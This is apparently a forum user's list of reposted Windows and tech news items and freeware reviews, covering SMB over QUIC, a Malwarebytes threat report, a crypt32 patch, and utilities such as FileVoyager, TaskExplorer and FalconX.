  14. Microsoft is working on Server Message Block (SMB) over QUIC technology for use with "Windows, Windows Server, and Azure Files," according to a Monday announcement. SMB over QUIC can serve as a virtual private network (VPN) alternative for securing mobile device connections. It can optionally replace "TCP/IP and RDMA" (Remote Direct Memory Access) protocols, as well, explained Ned Pyle, a principal program manager in the Windows Server engineering group. QUIC is seen as being a more secure protocol than TCP. "Unlike TCP, QUIC is always encrypted and requires TLS 1.3 [Transport Layer Security 1.3] with certificate authentication of the tunnel," Pyle added. By using SMB over QUIC, Microsoft will just be replacing the transport protocol part. "All SMB authentication still happens normally within the TLS tunnel (as if it was a VPN) so SMB is not relying on cert-based identity or auth -- it will still use NTLM or Kerberos (with KDC proxy)," Pyle explained in the comments section of Microsoft's announcement. "This model is just swapping out the transport, SMB is unchanged." The idea behind SMB over QUIC is to prevent spoofing and man-in-the-middle attacks, including "NTLM [Windows NT LAN Manager] challenges," Pyle indicated. He also explained that the user experience won't change. TCP and RDMA get used, but QUIC transport also happens, and the end result is "seamless to the end user and their apps." Pyle said that "QUIC's already in use in Windows 10 through the Edge browser and other apps," but the arrival time for SMB over QUIC isn't yet known. He showed a demo of it, though, in the announcement. QUIC, which stands for "Quick UDP Internet Connections," was developed by Google, which has its own "gQUIC" version that's currently used in Google Chrome Web browsers, according to Wikipedia's description. The Internet Engineering Task Force (IETF) currently maintains a draft of QUIC, but "QUIC" is considered to be the name of the protocol and not an acronym, according to the IETF. Wikipedia further explained that the IETF is planning to name "the HTTP mapping over QUIC 'HTTP/3' in advance of making it a worldwide standard." Source
  15. vissha

    WUMT Wrapper Script 2.3.5

    WUMT Wrapper Script is used to launch Windows Update MiniTool and disable Windows Updates until you run it again avoiding unwanted reboots. The script auto-elevates and makes sure the Windows Update service is running, then runs the correct version (x86 or x64) of Windows Update MiniTool in "auto-search for updates" mode. After you close Windows Update MiniTool, it stops and disables the Windows Update service, and it won't run again until you run WUMT Wrapper Script next time. With the Windows 10 Anniversary Edition, Microsoft has once again removed Group Policies and registry tweaks on Windows 10 Pro and Windows 10 Home to protect Windows Updates from being disabled, among other things. As you're well aware, Windows Updates are important so this script, and the Windows Update MiniTool should be used by advanced users. This is distributed as text that you place in Notepad and save as a .cmd. Then you need Windows Updates in the same folder. We have done all of this for you, so all you need to do is download WUMT Wrapper Script.zip, extract to a folder and run Windows Update MiniTool.cmd as needed. Author's Desc + Script + Install Notes v2.3.5: Changes WUMT Wrapper Script 2.3.5 portable and installer. Changelog since 2.3.4: Finally finished the to-do list on code improvements and installer. May 30, 2018 WUMT Wrapper Script 2.3.4 portable and installer. Changelog since 2.3.3: Fixed issue of Configurator not keeping correct settings if wrapper script is updated (installed on top of itself) under certain conditions. Configurator now tells you the state of the Windows Update Service before you make a change. Readme and script documentation updated. May 29, 2018 WUMT Wrapper Script 2.3.3 portable and installer. Changelog since 2.3.2: Improved installer. Now lets you install as portable installation. Also includes just the portable script folder for those who prefer that. Code cleanup. If you installed version 2.3.1, install v2.3.2 immediately or you can't update! Sorry about that! May 27, 2018 WUMT Wrapper Script 2.3.2 portable and installer. Delete your previous script folder contents and shortcuts and install using the installer or manually put the files in a folder since some file names have changed since version 2.3.0 To uninstall completely only use the uninstall shortcut in the start menu, or run Uninstaller.cmd in the script folder. Changelog since 2.3.1: Improved installer. Fixed serious bug with Windows Update not opening in Settings App. Disabling usocore.dll in 2.3.1 was the problem. v2.3.2 re-enables usocore.dll and leaves it enabled. May 26, 2018 WUMT Wrapper Script 2.3.1 portable and installer. Delete your previous script folder contents and shortcuts and install using the installer or manually put the files in a folder since some file names have changed. To uninstall completely only use the uninstall shortcut in the start menu, or run Uninstaller.cmd in the script folder. Changelog since 2.3.0: Added usocore.dll to disabled files. Now all task and related file creation from main script is done by module.vbs. Homepage Changelogs WUMT Wrapper Script @ Majorgeeks.com Download from Majorgeeks - WUMT Wrapper Script[Only latest build] + Windows Update MiniTool MajorGeeks - Mirror 1 MajorGeeks - Mirror 2
  16. Mac Threats Overtake Windows For The First Time Photo Credit: Jirsak/Shutterstock It's generally been accepted that Mac systems are much safer than Windows, but that could be starting to change as a new report shows Mac threats are growing faster than their Windows counterparts for the first time ever. Malwarebytes latest annual State of Malware report shows an average of 11 threats per Mac endpoint in 2019 -- nearly double the average of 5.8 threats per endpoint on Windows. Overall Mac threats increased by more than 400 percent, year-on-year. Among other findings of the report, Trojan-turned-botnets Emotet and TrickBot made a return in 2019 to target organizations alongside new ransomware families, such as Ryuk, Sodinokibi and Phobos. In addition, a wave of new hack tools and registry key disablers debuted in Malwarebytes' top detections, reflecting greater sophistication used by today's business-focused attackers. Overall business threats rose 13 percent to about 9.6 million detections. Adware has been particularly problematic for consumers and businesses on Windows, Mac and Android devices too, deploying aggressive techniques for serving up advertisements, hijacking browsers, redirecting web traffic and proving extremely difficult to uninstall. Adware increased 13 percent, year-on-year, for consumers and 463 percent for businesses. Seven of the 10 top consumer threat families were adware variants, as well as five of the top 10 business threat families. Pre-installed malware on mobile devices is an issue too. Malwarebytes' top-rated mobile threat in 2019 was a team of pre-installed potentially unwanted program (PUP) variants that combined for 321,103 detections. These auto installers ship with Android devices and are used to update the phone’s firmware -- but they also take and sell personal information. "A rise in pre-installed malware, adware and multi-vector attacks signals that threat actors are becoming more creative and increasingly persistent with their campaigns," says Marcin Kleczynski, CEO of Malwarebytes. "It is imperative that, as an industry, we continue to raise the bar in defending against these sophisticated attacks, actively protecting both users and businesses by flagging and blocking all programs that may violate their privacy, infect their devices, or even turn the infrastructure they depend on against them." Source
  17. Surface chief Panos Panay is now leading both hardware and Windows It's reorg time at Microsoft again, and the changes this time are happening under Experiences and Devices, which is led by Rajesh Jha. Jha is still in charge of his division, but what's changing is Windows. Windows Experience and hardware are being bundled into one unit, and Chief Product Officer and Surface lead Panos Panay will be the head of it. According to ZDNet's Mary Jo Foley, the change will take place on February 25. Currently, the Windows Experience unit is led by CVP Joe Belfiore, and that's been the case since almost two years ago when it was announced that Terry Myerson was stepping down. Belfiore will be moving to the Office Experience Group. According to the report, Panay was thinking about making a move late last year. It's possible that part of the reason for the promotion was to keep him on-board. Indeed, Panay certainly seems "pumped", based on this excerpt from his internal email: "Personally I'm very excited to lead the Windows Client for Microsoft, which will help us streamline our decision-making processes, be clear on our priorities, and deliver the best end user experiences from silicon through operating systems across all Microsoft apps and service connected devices (OEMs and Surface). We believe this will make the Windows Client experience better for the entire PC ecosystem. Designing hardware and software together will enable us to do a better job on our long term Windows bets (dual screen, silicon diversity, connectivity, app platform, etc.) and having a single point of Windows Client Experience leadership driving consistent priorities and resourcing across all of Windows client will help all of us accelerate innovation and improve execution. This is such an amazing time and opportunity to bring more energy to Windows and our customers using Windows. It won't be easy, but extending our growth will be key for our company strategy." What will be more interesting is hearing what Microsoft's partners have to say about combining Windows software and hardware into one unit. The Redmond firm's Surface hardware unit continues to grow, and it's becoming more and more of a competitor to the partners that make their own Windows hardware. Source: Surface chief Panos Panay is now leading both hardware and Windows (Neowin)
  18. LaunchBar Commander is a free customizable application launcher for Windows Rocketdock was the coolest application launcher in my opinion and it still works on Windows 10 devices even though it is outdated. LaunchBar Commander is a free application that's similar and offers a lot of customization options on top of that. Upon running it for the first time, you will be greeted by a message that says the program is donation ware (made by Mouser, a popular DonationCoder developer). A small panel titled "My First Dock" will open, click on the edges to resize it. This is a floating panel, so you can drag it around the screen. The Dock has 4 buttons: Control Panel, Documents, Start Menu and a Sample Menu. Clicking one of the buttons opens up a menu with the contents of the selected option. The Control Panel menu lists all the options available in Windows' namesake, the Documents menu displays links to files in your Documents folder, and so on. This is pretty useful for opening files quickly without having to navigate around in Explorer or opening Control Panel or the Start Menu. The program plays a sound when you click on a button which you can disable in the options. Right-click inside the dock to view its context-menu. This has a few options to resize, center, rebuild the bar. One of the options includes the ability to dock the panel, i.e., place it on the edge of the screen. You can drag the docked panel to any of the four sides of the screen. Hitting the close button minimizes the program to the system tray. Left-click on the tray icon to access the shortcuts that were on the dock are available from the tray. Right-click the tray icon and select preferences. This brings up the LaunchBar Commander settings window, that you can use to customize the dock. Undocking restores the panel to its original size. Create your own dock You can customize the pre-made dock or create your own. Shortcuts that you place in the dock are called Nodes. Click on the "Add Node" menu button (or right-click on a dock > Insert) and select "Add child - Dock": you may rename it to what you want. Select a display style for the icons, menu, and border (optional). You can also set the dock to autohide, autoslide or reserve a space for it. Next, choose the background you want, set its color and transparency. You can even choose a custom background should you not like the ones that LaunchBar Commander ships with. Let's add some shortcuts to the dock. Select Add Node > Add Child - Command. A new command is created, rename the caption, and set an icon (paste the icon's path) or use one of the built-in icons. There is a "Command path" box in the pane below, browse for the EXE or folder that you wanted to add. For applications add the word "%file%" in the argument box. That's it, your shortcut is created. Want to do that in a single click? Drag and drop a shortcut or an EXE, to the LaunchBar Commander interface (over the dock's name). It will prompt you to copy the shortcut properties or create a link to the shortcut. Use either option and it will add the shortcut to the dock. The drag and drop method adds the application's icon, path, name, etc automatically, so you should consider using this if you want to speed up the process. What about dragging and dropping shortcuts on the dock interface? That works as well. Note: You can right-click icons on the dock to access the Explorer context-menu options and execute them. Adding folders is quite similar and these folders open like menus, i.e., they display the contents of the directory. And speaking of menus, you can create custom ones, but you'll need to place the nodes inside (EXEs, Folders, URLs, etc). You can place Folders inside menus too. Multiple docks are supported, and since they are floating panels, you can place them where you want to. Each dock minimizes to the tray independently. Closing Words The application is also available in a portable archive. LaunchBar Commander is a brilliant program, it has some more advanced options, but this should cover the basics and help you get started with it. Landing Page: https://www.donationcoder.com/software/mouser/popular-apps/launchbar-commander Source: LaunchBar Commander is a free customizable application launcher for Windows (gHacks)
  19. Microsoft is expected to release a major software update on Tuesday, January 14 that will fix an "extraordinarily serious security vulnerability" affecting a core cryptographic component found in all versions of Windows. This will be the first Patch Tuesday release of 2020 from Microsoft. January 14 is also the day that Microsoft will end support for Windows 7. As reported by KrebsOnSecurity, Microsoft has already rolled out a patch to fix the bug for the U.S. military and other important high-profile clients and customers. These clients have been asked to sign agreements preventing them from disclosing details of the flaw on or before January 14, 2020. The flaw is found in the crypt32.dll system file which handles "certificate and cryptographic messaging functions in the CryptoAPI." It is also used by the Microsoft CryptoAPI that is used for securing cryptography applications and encrypting/decrypting digital certificates. This component is used by key Microsoft apps like Internet Explorer and Edge to securely handle sensitive data. A flaw in the crypt32.dll can be used to spoof digital signatures which can be used by attackers to make malware appear a safe and genuine app on your PC. The report also states that the NSA's Director of Cybersecurity Anne Neuberger is scheduled to host a press conference on January 14 where she will "provide advanced notification of a current cybersecurity issue." Microsoft on its part has already issued a statement saying that it does not discuss any vulnerabilities before rolling out a fix for them. It also made it clear that it does not roll out production-ready updates before its regular Update Tuesday schedule. Source: Microsoft expected to patch a serious security bug affecting all Windows versions today (via Neowin)
  20. Fewer versions, more focus. Now that Microsoft has ended support for Windows 7, it has an opportunity to rethink how it manages its operating system. It would be a good time to take some lessons from its age-old enemy, Apple: Stop doing some things that make Windows upgrades onerous, and start doing some things that will keep Windows users faithful and happy. Some particularly important things to stop and start come to mind, like: Stop: Charging for upgrades Microsoft fell far short of its widely publicized goal to get a billion people to upgrade to Windows 10 within three years. It’s not hard to see why. While Microsoft offered a long grace period to upgrade to Windows 10 for free, those who missed the deadline have to pay up (unless certain unofficial loopholes to upgrade to Windows 10 for free still work). Windows 10 Home costs $139, while Windows 10 Pro, which brings “enterprise-grade security, powerful management tools like single sign-on, and enhanced productivity with Remote Desktop and Cortana,” will set you back $200. I get why Microsoft still charges OEMs for Windows 10 licenses—it makes a lot of money. Even though CEO Satya Nadella admitted, “the operating system is no longer the most important layer for us,” Windows is still the biggest cog in the trillion-dollar Microsoft machine. There are more than a billion devices, just as many active users, and oodles of third-party licenses. But the end user shouldn’t ever pay. Apple hasn’t charged a penny for an upgrade since Mavericks landed in 2013. The simple fact that Microsoft still charges for upgrades—sometimes even on new Windows 10 devices—is just plain wrong. Start: Sticking with the same UI Another big reason why so many people refused to upgrade from Windows 7 to Windows 8 or Windows 10 wasn’t budget constraints, laziness, or even hardware compatibility. It was the Big Change. Windows 8 represented a massive departure from the old way of Windows in just about every way, with a new start menu, a tablet-oriented tile interface, and an app structure. Windows 10 fixed most of Windows 8’s biggest problems, but the scars remain to this day. If you look back at the original Mac OS X release from 2000, it’s really not all that different than it is now. It’s the same with Android or iOS: Users expect annual upgrades, but the wheel doesn’t need to be reinvented to keep things fresh. Microsoft has changed the look of its OS numerous times over the years. Now that Windows 7 is dead, Windows 10 needs to be the way forward. So please keep it the way it is (for the most part) for the foreseeable future. Stop: Having so many versions of Windows On the Mac, there’s just macOS Catalina, whether you’re running a $799 Mac mini or a $50,000 Mac Pro. And the next version, and the version after that, and the one after that will be the same. When a new version of macOS arrives, no one needs to figure out which version they’re getting. We click Update, it installs, and life goes on. Meanwhile, on the Microsoft side, it’s hard to keep up with all the different versions of Windows 10. There’s Windows 10 S, Windows 10 Home, Windows 10 Pro, Windows 10 Education and Pro Education, Windows 10 Enterprise, and the dual-screen-friendly Windows 10X. Who can forget when Windows 10 Mobile was a thing? This is the most confounding thing about Windows from the perspective of Mac users. I can understand why you might need an Enterprise version, but that’s it. Why should Windows 10 Home people be deprived of the better security in Windows 10 Pro? Why sell a stripped-down, “streamlined” Windows 10 S version tied to the Windows Store, but also offer to switch users to the fuller-featured Windows 10 Pro? It’s all very confusing. Because most Windows users will stick with the OS that comes with their PC, Microsoft should simply offer a single consumer version of Windows: Windows 10. Give it all of the “pro” features, deliver regular updates, and make everyone happy. Start: Embracing the Surface Neo The Surface Neo is Microsoft’s most exciting product in years, because it wasn’t built around Windows. The biggest lesson Windows can take into the future doesn't come from Apple, but from Microsoft itself: the dual-display, 360-degree-convertible Surface Neo. It's one of the most exciting products of 2020, and even though it won’t arrive until the end of the year, it's already having an impact on the next generation of Windows. When Apple designs a product, it doesn’t try to cram it into the existing version of iOS or macOS—it designs both to work in tandem. The hardware dictates the software features and plots the way forward. That’s how it is with the Surface Neo. Microsoft didn’t try to cram the existing Windows 10 architecture into a new device. It crafted both together into a new platform, Windows 10X. Granted, I asked for fewer versions of Windows 10 earlier in this story, but Windows 10X has a distinct purpose. When you buy a Windows 10X device, you’ll know that you’re getting an experience built for the hardware that runs it, not the other way around. It’s like Apple with iOS and iPadOS: The two operating systems are largely the same, but the separation actually eliminates confusion. The Surface Neo is easily the most exciting Microsoft device since the Surface, not because of its gorgeous hardware, but because of how beautiful the hardware and software integrate. Stop: Looking backward The Surface Neo also reflects Nadella's vision that Windows isn’t the future of Microsoft—in fact, OSes aren’t all that important at all. Apps, services, and hardware are the way forward. Case in point: Next year’s Surface Duo smartphone runs Android instead of Windows—but it will still be a Microsoft device. Sometime between the launch of Windows 10 and the death of Windows 7, Microsoft finally realized that a platform and an OS needn’t be one and the same. A Microsoft device running Microsoft apps using the Microsoft launcher on a forked version of Android isn’t any less on-brand than a Surface running Windows 10. Microsoft is leading the conversation with the Surface Neo in a way the other Surface devices never did. If it’s truly going to move beyond the traditional Windows model, it needs to do more of this. You know, like Apple. Source
  21. FileVoyager is a freeware dual pane file manager and file viewer for Windows FileVoyager is quite a bit different compared to your average file manager program. It's a hybrid dual pane file manager and file viewer, and has plenty of features that set it apart. Tip: check out recently reviewed file managers such as File Commander, Tablacus Explorer, or Altap Salamander. The application has a ribbon interface which some like and others dislike. The massive number of icons and information that is displayed on the screen may be confusing to first time users as it will take some time to get accustomed to everything. Fortunately you can disable some elements and switch to a different view which minimizes the learning curve greatly. The Exploration tab, displayed on top of each file view pane, displays the file tree. You can use it to navigate to different locations,e.g. folders or drives. See that large picture on the top portion of the pane? That's the 3D thumbnail view. It takes a nice chunk of the on-screen real estate, so you may want to use the buttons below the "Exploration" tab to switch to something like the Details mode that is similar to Explorer's details view. There are other views such as Details mode with thumbnails (every icon has a thumbnail and a description), icon mode (which looks like the Windows Control Panel), a list mode and a thumbnail mode (like a grid of icons). I used the first button, which is the details mode because it has the best of both worlds, i.e. looks nice and provides enough information. The first 5 buttons on the Exploration bar can be used for the basic file operations: cut, copy, paste, delete to recycle bin and delete permanently. The icon with three upward arrows allows you to navigate to the root folder of the current path, the up icon is for jumping up to the previous folder, and the refresh button updates the folders contents. The left and right arrow icons are used to go back or forward a visited folder, while the clock icon pops down with a history of the recently opened folders. There are two bars on the bottom of each pane: the first displays the number of selected files, folders, and their size. The other displays the current folder's properties such as the number of files, folders it contains and their size. It also shows you the current drive's total space and available free space. Right-click within the Exploration tab to access the file manager's context menu. It looks similar to the Explorer context menu but you will notice some new options. The view with FileVoyager option opens the selected file using the program's built-in viewer. I had trouble with this, when I used the menu item, it'd always say the file wasn't found. But clicking on the file directly opened it in the other pane of the program, so the option does work. The same goes for the Hashes and VirusTotal menu, it works with the Preview tab but not from the menu. Mouse over images in the Exploration tab and you get an inline preview of the image, along with its name, resolution, file type and size. The ribbon UI has four tabs: Home, Manage, View and Tools. File This is actually a menu which has options to open another instance of the program, with or without administrator rights. Similarly, you can use it to open a command window with/without elevated privileges. Home This tab is used for basic file operations (similar to the one mentioned in the Exploration tabs). But there are more options here including creating new files, archives and extracting archives. FileVoyager comes with 7-Zip built into it, so you have most of its options available in the file manager. You can copy a file's path, search for files, and manage favorites from the Home tab. Manage You get more file operations here, but those aren't the important options. The Open section lets you use the embedded viewer in FileVoyager to view the selected file. The external viewer and edit options let you open the files in their default external handlers. The Folder Size tool calculates the file size of the selected folder and displays the result. The All Folder Sizes option does the same, but for all folders in the current view. This tab has the Preferences of the program, should you want to change any settings. View You can enable or disable the Exploration tab's check boxes for items, marquee, show hidden folders, sorting, thumbnails, and more. But this tab can change the appearance of FileVoyager, too. The folder tab can be toggled to be displayed on the bottom of the pane. There is an option to set the program to close or minimize to the Tray. FileVoyager allows you to sort the columns (name, type, size, date), customize the file selection method, duplicate or switch the panes, too. The Common Toolbars are in my opinion really important, as you can toggle the Center Toolbar, Favorites and Appbar. Why have a ribbon and all these toolbars? The Panes option can be used to view/hide the tree (hidden by default), drive pane, folder tab, and the pane's toolbar. The Splitter button has many ways to resize the panes, but you can do that manually by dragging the pane's borders. I wish the two drive bars at the bottom could be hidden, but there isn't a setting for that. Tools This tab has a few system tools, e.g. to connect/disconnect a network drive, create new shortcut, open the "Run" box, find files, display properties, Control Panel's Programs and Features, or Date and Time properties. Those are useful but not too special, but the Viewers section is. Select a file and click on embedded viewer to view the document or picture in the other pane. The External Viewer does the same, but in a floating window. The other "External Viewers" option is used for closing all the opened "External Viewers". There is a nice Folder comparison tool which can be accessed by clicking the "Compare listed paths" option, which by the way opens in a new window. The "Compare Items" on the other hand, opens a new window that uses FileVoyager's built-in viewers to display a visual comparison of the selected files. And to cap it off, the Hash Tool is handy for computing the CRC, Haval, MD, Panarma, Ripe MD, Sapphire, SHA, Snerfy, Square, Tiger and Whirlpool hash values of any file or folder. You can use the "check with Virus Total" option to check the file using the virus checking service. Preview Tab The Preview Tab acts as an inline image and document viewer in FileVoyager. Select a file in the right or left tab, and the content will be displayed in the other tab. The modes available here include Text, Binary, Hexa, Unicode, U-hex, RTF, Windows, Web, MM and SumatraPDF. The document viewer supports PDF, EPUB, MOBI, CBR, CBZ, XPS, FB2, DJV2 formats, using the embedded SumatraPDF viewer. While editing documents, you can see the syntax highlighting for many languages. The program supports audio and video playback using Windows Media Player and VLC (codecs are packaged with the application). So you can play the audio or video directly within the application, when the MM (multimedia mode) is enabled. It also works with playlist formats like M3U, PLS, ASX, etc. Toolbars The Appbar is at the top of the left pane and acts as a "Send To" shortcut that you can use to send any file to Bluetooth, Compressed Zip Folder, Desktop, etc. It's the same as Windows Explorer's "Send To" menu. The Center toolbar sits between the two panes and can be used to open/copy/move/rename files. You can also use it for accessing the embedded viewer for supported files, edit (with external program), switch/duplicate panes, search or create files/folders. The Favorites bar, at the bottom of the left pane is a shortcut bar for your computers favorite folders (Desktop, Documents, Pictures, Videos, etc). Themes There are about 18 themes for FileVoyager, which you can switch on the fly, by using the button in the top right corner of the program's window. The application is available in 2 versions (technically four if you count the portable versions). One of these comes with VLC codecs, the other one doesn't. The same goes for the portable versions. FileVoyager has a lot of features packed into it. The only problem is the interface which can appear to be a bit complicated. If you can brave that, you have yourself a nice file manager to use. Source: FileVoyager is a freeware dual pane file manager and file viewer for Windows (gHacks)
  22. TaskExplorer is an advanced Windows Task Manager alternative TaskExplorer is a free open source application for Microsoft Windows devices that may be used as an alternative to the operating system's built-in Task Manager. Like other Task Manager alternatives such as System Explorer, TaskManager DeLuxe or Security Task Manager, it is designed to provide functionality that the native task manager application lacks. In the case of TaskExplorer, it is a strong focus on providing its users with information on what processes actually do. The program is available for 32-bit and 64-bit versions of Microsoft's Windows operating system. The minimum Windows version is Windows 7. The app itself is based on the Qt Framework which explains the, rather large, size of 37 Megabytes. The interface is quite noisy when you first start the program (it does not need to be installed). It displays performance bars at the top, a tree list of processes in a sidebar on the left, and information on the right. The application updates the data in real-time but you may hit the pause button to stop the automatic refreshing. A click on the (rather small) arrow icon next to the refresh button displays options to change the automatic update interval from the default 1-second value to another. Values range from ultra-fast, which updates every 0.1 seconds to extremely-slow which updates every 10 seconds. The main interface on the right is divided into two parts: a general administrative part at the top that displays system information by default, and a process-specific part at the bottom. The administrative part at the top lists tabs that lead to pages filled with information. System for example provides general operating system information as well as an overview of memory, I/O or CPU activity. You may switch tabs to access advanced information about CPU, Memory, DNS, Services, Network, or GPU related information. The lower half of the panel displays process-specific information. Information is updated when you select a process from the left sidebar. The interface is divided into tabs as well and you find a wealth of information listed there. From basic information such as the image file name and path, to handles, sockets, threads and more. Right-click on any process in the sidebar to display a context menu. It lists the usual options, e.g. terminate or open folder, but also options to change the priority or affinity, permissions, or other advanced options such as "run as user", reduce working set, create crash dump, or debug. TaskExplorer has more to offer than all that. You may use the application to free memory in multiple ways, flush the DNS cache, search for handles, modules or strings (in memory), or change the power state of the computer. Closing Words TaskExplorer is a powerful task manager for Microsoft Windows devices. It is designed for advanced users as it provides information that most regular users don't need. Source: TaskExplorer is an advanced Windows Task Manager alternative (gHacks - Martin Brinkmann) [Software Updates post here... https://www.nsaneforums.com/topic/358478-taskexplorer-101 ]
  23. Google is bringing a Tab Strip to Chrome for Windows and Linux If you have used the Microsoft Edge web browser, classic or new, you may have stumbled upon the browser's Tab Strip feature. Just click on the arrow icon on the tab bar to display thumbnail images of the sites and resources open in the browser. It appears that Google is attempting to bring a similar feature to the company's Chrome web browser. Already in Chrome OS, Google engineers are working on introducing Tab Strip functionality in the Chrome browser. The feature introduces an option in the Chrome browser to display a strip of tabs. While it is unclear yet how it would be activated by the user, it is likely that Google is adding an icon to the browser's tab bar to activate and deactivate the Tab Strip view in the browser. The following screenshot shows the Tab Strip in the Microsoft Edge web browser. The arrow icon next to the plus icon in the Tab Bar displays and hides the Tab Strip interface. When activated, it pushes the activate site down as it needs room to display the thumbnails. Edge users may use drag and drop to change the order of tabs or jump to any open site with a click on the tab. The video that is embedded below demonstrates how the Tab Strip looks like in Chrome OS. All tabs open in the web browser are displayed with thumbnails when users activate the Tab Strip functionality. Since thumbnails use a wider area than tabs, scrolling is available to go through the list of open sites and resources in the browser. It is furthermore possible to drag and drop tabs to reorder them just like it is the case in Chrome's Tab Bar (and any other browser's for that matter). The visualization may improve use on touch-enabled devices and help users locate tabs quicker. Google did not reveal when the new functionality will land in Chrome; it is likely that it will be introduced behind a flag that users need to enable to activate the functionality. Closing Words While I'd like to see options to scroll the tab bar in Chrome, as the browser still becomes unusable when too many tabs are opened, it is clear that the Tab Strip would offer users some resource as it supports scrolling. Chrome users who cannot identify tabs anymore could use it for navigational purposes. Source: Google is bringing a Tab Strip to Chrome for Windows and Linux (gHacks - Martin Brinkmann)
  24. FalconX is an open source program that can center the taskbar icons One area in Windows that has not evolved over different versions that much is the taskbar. Microsoft made the last fundamental change to it when it released Windows 7. The company made several minor adjustments in recent versions of Windows but that is about it. FalconX is an open source tool that adds new functionality to the operating system's taskbar. The application is also known as Center Taskbar or Falcon, and we have reviewed it back in 2018 for the last time. Windows 7 users could also use a manual method to center taskbar items. FalconX is a portable application. Run the program and your taskbar icons will now be placed smack-dab in the middle of the taskbar. This gives a dock-like experience and some users may find the icons easier to reach as a consequence. The program sits on the system tray and you can access its options by right-clicking the icon and selecting "Settings". Animation You can choose the animation style from the Settings Screen. FalconX has 42 animations to choose from and if you don't like any of those, you can disable animation completely. There is an option to adjust the animation speed, which you can set by using the slider or enter the precise ms (Millisecond) number in the box. Position You can set the offset position of the taskbar, in terms of pixels. The default value is 0 and you may adjust it using a slider or by entering values manually; This is useful if you want to move the taskbar to a particular position, for e.g. towards the right side of the screen. Taskbar Style FalconX has three taskbar styles that you can choose from: Transparent, Blur and Acrylic. The last one is marked as unstable by the developer, but it worked pretty well during tests. The styles are disabled by default, so technically the default Windows 10 style acts as a fourth option. The Blur style adds a frosted glass effect to the taskbar, while the Transparent setting offers an immersive experience. You can view the changes immediately without having to restart the application. Here's what the Acrylic style looks like. You can still apply Windows' own Taskbar customizations such as changing the icon size or enabling auto-hide. Note: If you have auto-hide enabled for the taskbar and choose a style in FalconX, the taskbar will not apply the effect based on the wallpaper, rather it uses the color of the current window. So, if you're on a webpage with a white theme, the taskbar turns white-ish, and the system tray becomes nearly unreadable. This isn't an issue if you don't use auto-hide. The refresh button reloads the application. You can enable the "Run at Startup" option to make the program load during Windows' boot. If you have the Search Bar enabled on your taskbar, you can enable the "Center between Start or Search" option in FalconX, and the program will center the icons between the two Windows UX elements. FalconX works with multiple monitors as well. Though it is available for free from GitHub, an optional paid version is available from the Windows Store. Closing Words The program is quite light-weight and used about 2MB of memory and less than 1% of the CPU (usually about 0.2%) during my tests. When the Settings screen was in view, i.e., when the program switches from a background task to a foreground app, the memory usage was a bit higher but still under 7MB memory and 3% CPU usage. Source: FalconX is an open source program that can center the taskbar icons (gHacks)
  25. Apple preparing to build the ‘next generation of media apps for Windows’ Apple looking for UWP developers, too Apple is hunting for software engineers to help the company build media apps for Windows. The iPhone maker revealed its plans in a job listing earlier this month, spotted by Neowin, inviting potential candidates to “join us and build the next generation of media apps for Windows.” Apple maintains existing Windows apps like iTunes and iCloud, but these are both old traditional desktop apps that are showing their age. Apple revealed earlier this year that it’s breaking up iTunes into three separate macOS apps: Podcasts, TV, and Music. None of these apps have arrived on Windows, leaving PC users with just iTunes. If you’re an Apple Music or Apple TV Plus subscriber, you have to use the web versions instead of dedicated apps on Windows 10 right now. Apple’s job listing mentions “experience with UWP is a big plus,” which hints that the company is looking to build Universal Windows Platform (UWP) versions of its media apps for Windows 10. This could help Apple bring apps to both Windows 10 and Xbox One, which is particularly important for Apple TV Plus as there’s no way to watch content from that service on the Xbox One right now. It’s not clear when these new media apps for Windows will arrive, but the fact that Apple is investing in Windows 10 is good news for owners of Surface or Windows tablet devices that will benefit from new touch-friendly apps for Apple’s services. Source: Apple preparing to build the ‘next generation of media apps for Windows’ (The Verge)
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